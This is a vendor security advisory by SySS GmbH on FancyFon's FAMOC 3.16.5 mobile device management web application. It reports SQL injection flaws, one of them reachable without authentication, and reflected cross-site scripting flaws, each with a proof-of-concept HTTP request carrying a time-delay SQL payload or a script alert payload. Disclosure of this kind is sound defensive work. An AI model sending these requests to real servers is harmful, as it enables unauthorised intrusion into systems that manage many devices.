Product(s): FAMOC
Vendor: FancyFon
Affected Version(s): 3.16.5 
Tested Version(s): 3.16.5
Vulnerability Type: SQL Injection (CWE-89) / Cross-Site Scripting (CWE-79)
Risk Level: High
Solution Status: Fixed
CVE Reference: Not yet assigned
Authors of Advisory: Matthias Deeg (SySS GmbH)
                     Sebastian Nerz (SySS GmbH)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

FAMOC is a mobile device management software by FancyFon supporting
different kinds of mobile devices.

The vendor FancyFon describes the product as follows (see [1]):

"FAMOC is a flexible and open mobile device lifecycle management 
solution, enabling any number of smartphones using a variety of 
operating  systems, to be centrally and remotely managed, over the 
Internet."

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The SySS GmbH found two boolean-based SQL injection vulnerabilities in 
the web application component of the FAMOC mobile device management 
solution which can be exploited from different attacker's perspectives.

1) SQL injection in ajax.php (REST URL parameter for device ID)

The REST URL parameter for the device ID of the PHP script ajax.php is
not sanitized sufficiently resulting in an SQL injection vulnerability.

This SQL injection vulnerability can be exploited by an
unauthenticated attacker by sending a specially crafted HTTP POST
request (see PoC section).


2) SQL injection in index.php (URL parameter "order")

The URL parameter "order" of the PHP script index.php is not sanitized
sufficiently resulting in an SQL injection vulnerability.

This SQL injection vulnerability can be exploited by an authenticated
attacker that is logged in to the FAMOC web UI by sending a specially
crafted HTTP GET request (see PoC section).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

1) SQL injection in ajax.php (REST URL parameter for device ID)

The following HTTP POST request injecting the SQL command
'+(select * from (select(sleep(10)))a)+' as the URL REST parameter of
the device ID demonstrates the SQL injection vulnerability by a time 
delay of 10 seconds for the server response:

POST /ajax.php/'%2b(select%20*%20from%20(select(sleep(10)))a)%2b'/summary.xml?req=mdm/backup_upload.php HTTP/1.1
Host: <HOST>
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
Connection: close

<operation type="backup">
  <item type="contacts" status="NOTEXIST" num_items="0" size="" path="" message="" passMD5="00000000000000000000000000000000">
    <file mdm5="" path="/contacts.vcf" status="MISSING" message="DELETED" size="0"/>
    <file mdm5="" path="/contacts.vcf" status="NOTEXIST" message="FAIL" size="0"/>
  </item>
</operation>


2) SQL injection in index.php (URL parameter "order")

The following HTTP GET request injecting the SQL command 
,(select * from (select(sleep(10)))a) via the URL parameter "order"
demonstrates the SQL injection vulnerability by a time delay of 10 
seconds for the server response:

GET /index.php?name=&order=my_last_login%20desc%2cinstitution_name%2c(select%20*%20from%20(select(sleep(10)))a)&page=1&myorgs=0 HTTP/1.1
Host: <HOST>
Cookie: PHPSESSID=<SESSION_COOKIE>


Vulnerability Details:

The SySS GmbH found several reflected cross-site scripting 
vulnerabilities in the web application component of the FAMOC mobile 
device management solution which can be exploited from different 
attacker's perspectives.

1) Reflected Cross-Site Scripting in login form

The parameter "LoginForm[username]" is not sanitized sufficiently
resulting in a reflected cross-site scripting vulnerability.

This reflected cross-site scripting vulnerability can be exploited in 
the context of an unauthenticated user by sending a specially crafted
HTTP POST request (see PoC section).


2) Reflected Cross-Site Scripting in index.php

The two URL parameters "order" and "myorgs" of the PHP script index.php
are not sanitized sufficiently resulting in cross-site scripting
vulnerabilities.

These reflected cross-site scripting vulnerabilities can be exploited
in the context of an authenticated user by sending a specially crafted
HTTP GET request (see PoC section).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

1) Reflected Cross-Site Scripting in login form

The following HTTP POST request using the JavaScript code
"><script>alert(1)</script><z=" as the value for the parameter 
"LoginForm[username]" demonstrates the reflected cross-site scripting
vulnerability by showing a JavaScript alert box:

POST /ui/system/login HTTP/1.1
Host: <HOST>
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

LoginForm%5Busername%5D=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3Cz%3D%22&LoginForm%5Bpassword%5D=password


2) Reflected Cross-Site Scripting in index.php

The following HTTP GET requests using the JavaScript code
'><script>alert(1)</script> as the value for the URL parameter "order" or
"myorgs" demonstrate the two reflected cross-site scripting vulnerabilities
by showing a JavaScript alert box.


2.1) URL parameter "order"

URL: https://<HOST>/index.php?name=&order=%27%3E%3Cscript%3Ealert%281%29%3C/script%3E&page=1&myorgs=0

GET /index.php?name=&order=%27%3E%3Cscript%3Ealert%281%29%3C/script%3E&page=1&myorgs=0 HTTP/1.1
Host: <HOST>
Cookie: PHPSESSID=<SESSION_COOKIE>


2.2) URL parameter "myorgs"

URL: https://<HOST>/index.php?name=&order=&page=1&myorgs=%27%3E%3Cscript%3Ealert%281%29%3C/script%3E

GET /index.php?name=&order=&page=1&myorgs=%27%3E%3Cscript%3Ealert%281%29%3C/script%3E HTTP/1.1
Host: <HOST>
Cookie: PHPSESSID=<SESSION_COOKIE>
